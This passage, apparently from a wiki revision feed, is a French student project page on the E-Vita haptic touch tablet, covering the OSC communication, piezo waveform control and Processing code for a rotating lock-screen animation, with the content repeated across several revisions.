&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
Concevoir une librairies facilitant la programmation d'application utilisant le retour tactile.&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d’appréhender le problème facilement j'ai commencé par représenter un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un classique switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Une animation est disponible au lien suivant : &lt;br /&gt;
[[Fichier: Rotation_propre.mp4|500px|center| Rotation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Boite à outils==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Afin de créer un polymorphisme des classe Trectangle et Tcircle, cela permettra de créer une méthode sendControl général pour toute les classes.&lt;br /&gt;
&lt;br /&gt;
Conception des classes représentant les motifs élémentaires.&lt;br /&gt;
Conception des méthodes isIn : permet de savoir si un point de coordonnée x,y est contenu dans le motif.&lt;br /&gt;
Conception des méthodes dessiner : permet de dessiner le motif élémentaire&lt;br /&gt;
Première réflexions sur un la création d'un ensemble de motif élémentaire via un hashMap.&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37769</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37769"/>
				<updated>2017-01-23T19:54:09Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Cahier des charges */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
Concevoir une librairies facilitant la programmation d'application utilisant le retour tactile.&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d’appréhender le problème facilement j'ai commencé par représenter un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un classique switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Une animation est disponible au lien suivant : &lt;br /&gt;
[[Fichier: Rotation_propre.mp4|500px|center| Rotation]]&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37202</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37202"/>
				<updated>2017-01-10T18:22:45Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Avancé du travail */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
Mais depuis un long moment le toucher se répand sur les différents système afin de s'approcher au plus près de l'utilisateur, l'écran tactile s'inscrit donc dans une nouvelle ère technologique, où les machines ne sont plus contrôler via des interrupteur ou bouton, mais via les différentes possibilités du toucher sur un écran.&lt;br /&gt;
Noter cependant que si depuis très longtemps les écran nous transmettent des informations, que l'on arrive également à contrôler des système via le son (clap des mains pour éteindre la lumière), il n'existe pas de dispositif tactile qui fonctionne en duplex (Homme vers machine, machine vers homme).&lt;br /&gt;
&lt;br /&gt;
C'est dans ce contexte que le bureau d'étude de l'IRCICA met au point l'E-Vita, un dispositif tactile qui non seulement permet la communication d'un homme vers la machine mais qui est également capable de faire communiquer,grâce au toucher, la machine vers l'utilisateur.&lt;br /&gt;
Le projet E-Vita, lancé en 2003, est capable aujourd'hui, via différentes applications test, de faire ressentir à son utilisateur différentes formes d'ondes (motifs), via des céramiques piezo-electriques. La dalle se met à vibrer sous le doigt de l'utilisateur ainsi la machine communique avec son utilisateur.&lt;br /&gt;
&lt;br /&gt;
=Objectif du sujet=&lt;br /&gt;
L'objectif de ce Projet de fin d'étude, et de réétudier la loi de contrôle qui permet au µC de contrôler les céramiques.&lt;br /&gt;
Actuellement une couche hardware supérieur récupère le mouvement du doigt ainsi que sa vitesse afin de faire ressentir à l'utilisateur un motif, une vibration électronique unique, typiquement une forme d'onde. L'idée principale et de rajouter de la dynamique dans la commande des céramiques afin que les motif ne soit plus enregistrée en dur dans le micro-controleur. Une possibilité envisageable pour cette définition de motif ainsi que la transmission de l'ordre, et de passer dans le domaine fréquentielle.&lt;br /&gt;
Je citais plus haut que le dispositif se décompose en plusieurs couches matérielles et logicielles, afin de les faire communiquer une couche transport OSC est utilisé afin de faire communiquer le micro-controller et le Banana Pi. Seulement pour des raison évidentes lorsque la plaque vibre, il n'y a que la surface de contact qui se mets réellement à osciller, on a donc ici un soucis de delai entre le moment où l'utilisateur pose son doigt, se déplace, et le suivi de par le programme des zone de vibrations. Il est envisageable si le projet se déroule bien de pouvoir réétudier la question de la programmation événementielle de la tablette tactile, afin que se temps de latence soit le plus bas possible.&lt;br /&gt;
&lt;br /&gt;
==Protocole de communication OSC==&lt;br /&gt;
&lt;br /&gt;
Afin de faire la liaison entre le Banana Pi et le micro-controlleur, la couche liaison est réalisé grâce au protocole Open Sound Control.&lt;br /&gt;
OSC est un protocole créer afin de faciliter la transmission d'information multimédia sur un réseau.&lt;br /&gt;
Utilisé pour la transmission de musique cela s'adapte a notre transmission de fréquence pour la vibration des céramique.&lt;br /&gt;
Cette communication utilise les normes TCP et UDP pour la communication temps réel entre le serveur et le client. &lt;br /&gt;
&lt;br /&gt;
Les paquets sont transmis avec deux informations, la première information est la taille du paquet OCS et la deuxième le paquet lui-même.&lt;br /&gt;
La taille des paquets OCS sont toujours un multiple de 4. Cela permet un alignement des différents block transmis.&lt;br /&gt;
Le contenus d'un paquet peut soit être un OSC Messages ou un OSC Bundle&lt;br /&gt;
&lt;br /&gt;
Quand le serveur reçoit un simple OSC Message il doit s'empresser d'invoquer la méthode associé. &lt;br /&gt;
A la différence, le OSC Bundle qui comporte lui-même une identification de temps, la méthode devra être éxécuté si le Time-Tag du bundle est égal ou déjà passé, et à l'inverse devra stocker le bundle et lancé la méthode au bon moment si le Time-Tag indique un évèvenement futur.&lt;br /&gt;
&lt;br /&gt;
Cette réalisation permet un résultat temps réel sur l'application, entre le moment du contact entre le doigt et la tablette et l'action de vibration des céramiques.&lt;br /&gt;
&lt;br /&gt;
==Retour des valeurs d'amplitude sur la plaque piezo==&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui le contrôle des céramique se fait grâce à des fichiers écrits en &amp;quot;dur&amp;quot; dans le programme, chacun des ses fichiers se présente sous la forme d'un tableau de 10000 valeurs d'entier.&lt;br /&gt;
Un entier est composé de 4 octets, sachant que 4 formes d'ondes sont utilisées dans la gamme de fréquence (50, 100, 500, 1000, 5000, 10000).&lt;br /&gt;
Cela correspond donc à 6*4*4*10000 = 960 ko de mémoire utilisé. &lt;br /&gt;
&lt;br /&gt;
Une solution évidente serait de non pas récupérer la valeur dans un tableau mais bien de la calculer voir de la prédire en fonction du déplacement, de la dimension de l'écran, de la fréquence de rafraîchissement. &lt;br /&gt;
&lt;br /&gt;
 Signal Sinusoîdal -&amp;gt; sin(wt)&lt;br /&gt;
 Signal Carré -&amp;gt; x(t) = 1 , 0 &amp;lt; t &amp;lt;= T et 0, T &amp;lt; t &amp;lt; 2T.&lt;br /&gt;
 Signal dent de scie -&amp;gt; x(t) = t, 0 &amp;lt; t &amp;lt; 2T&lt;br /&gt;
 Signal Dirac&lt;br /&gt;
&lt;br /&gt;
Un passage dans le domaine fréquentiel permettrait de généralisé le calcul des valeurs de retour. Ainsi qu'une représentation plus formelle du problème.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
Établir une représentation visuel d'un mouvement de rotation sur une application de verrrouillage/dévérouillage par code/retour tactile.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Avancé du travail=&lt;br /&gt;
Afin d’appréhender le problème facilement j'ai commencé par représenter un segment en direction du chiffre en cours de sélection. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ligne_numero_1.png|500px|left]][[Fichier:Ligne_numero_6.png|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le code correspondant est un classique switch/case inscrit dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
    switch (currentNumber){&lt;br /&gt;
    case 1:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,116,800-552);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 2:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,239,800-676);&lt;br /&gt;
      break;&lt;br /&gt;
    case 3:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,384,800-558);&lt;br /&gt;
      break;&lt;br /&gt;
      &lt;br /&gt;
    case 4:&lt;br /&gt;
      fill(255, 0, 0);&lt;br /&gt;
      line(240,340,381,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  &lt;br /&gt;
    case 5:&lt;br /&gt;
   fill(255, 0, 0);&lt;br /&gt;
      line(240,340,237,800-257);&lt;br /&gt;
      break;&lt;br /&gt;
    case 6:&lt;br /&gt;
    &lt;br /&gt;
     fill(255, 0, 0);&lt;br /&gt;
      line(240,340,98,800-372);&lt;br /&gt;
      break;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je décide donc de réaliser un cercle autour du bouton &amp;quot;OK&amp;quot; avec 4 segments permettant d'observer une rotation du cercle toujours dans la fonction draw() :&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333); // On place le référentiel au centre du bouton &amp;quot;OK&amp;quot;&lt;br /&gt;
     &lt;br /&gt;
      rotate(direction * millis() * 0.001 * TWO_PI / 1O.0);   // Créer une rotation de 360° en 10 secondes.&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145); &lt;br /&gt;
      line(75,0,90,0);&lt;br /&gt;
      line(-75,0,-90,0);&lt;br /&gt;
      line(0,75,0,90);&lt;br /&gt;
      line(0,-75,0,-90);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Pour l'instant la rotation se fait sans arrêt, cela ne convient qu'a moitié, mais elle permet tout de même de tourner plus vite si jamais on appuie plus d'une fois sur une des flèches jaunes.&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir une solution plus adéquate divers variables globales sont utilisées :&lt;br /&gt;
&lt;br /&gt;
 int direction = 0;       // Sens de direction rotation 0 = fixe / +n = décalage trigo / -n = décalage anti-trigo&lt;br /&gt;
 int nb_frame = 0;        // Enregistre le nombre de frame lorque l'on appuie sur une des flèches.&lt;br /&gt;
 float phi = 0.;          // Sert contient le calcul de la phase pour la rotation.&lt;br /&gt;
&lt;br /&gt;
La variable direction est modifié à chaque appuie sur une des deux flèches jaunes. Elle incrémente un compteur qui reset à chaque fin de rotation.&lt;br /&gt;
La rotation est rendu possible grâce au combo pushMatrix()/popMatrix() elle me permet d'afficher 6 segments séparés d'un angle de pi/3. &lt;br /&gt;
La variable phi correspond à la phase du premier segment, c'est cet élémént qui réalise réellement la rotation.&lt;br /&gt;
&lt;br /&gt;
 if (!creatingCode){&lt;br /&gt;
      translate(240, 333);                                               // Centrage sur &amp;quot;OK&amp;quot;&lt;br /&gt;
      noFill();&lt;br /&gt;
      strokeWeight(5);&lt;br /&gt;
      ellipseMode(CENTER);&lt;br /&gt;
      ellipse(0,0,145,145);&lt;br /&gt;
      if (frameCount &amp;lt; nb_frame +60){                                    // Calcul de la position du premier segment&lt;br /&gt;
         phi = direction * ((nb_frame-frameCount)/60.) * PI/3;           // Le frameRate est fixé à 60 itérations/s&lt;br /&gt;
      }else{&lt;br /&gt;
        direction =0;                                                    // Reset de la variable d'appui&lt;br /&gt;
      }&lt;br /&gt;
      //Creation des segments&lt;br /&gt;
      for (int i=0; i&amp;lt;6; i++){                                           // Cette boucle permet donc de créer les 6 segments et de donner l'impression qu'il tourne autour du cercle &lt;br /&gt;
        pushMatrix();&lt;br /&gt;
        rotate(phi + i*PI/3);&lt;br /&gt;
        line(75,0,90,0);&lt;br /&gt;
        popMatrix();&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Une animation est disponible au lien suivant : &lt;br /&gt;
[[Fichier: Rotation_propre.mp4|500px|center| Rotation]]&lt;/div&gt;</summary>
		<author><name>Pfitouss</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37201</id>
		<title>P42 Dispositif à retour tactile</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P42_Dispositif_%C3%A0_retour_tactile&amp;diff=37201"/>
				<updated>2017-01-10T18:21:22Z</updated>
		
		<summary type="html">&lt;p&gt;Pfitouss : /* Avancé du travail */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Contexte du sujet=&lt;br /&gt;
L'E-vita s'inscrit dans une nouvelle démarche en faveur de l'interface homme-machine.&lt;br /&gt;
Depuis des année la technologie exploite nos sens de différente manière, l'idée de faire répondre la machine et de se faire comprendre par l'utilisateur, est obligatoire au bon fonctionnement de programme et autre fonctions. L'ouï, la vue sont les sens les plus exploiter par la technologie depuis le commencement.&lt;br /&gt;
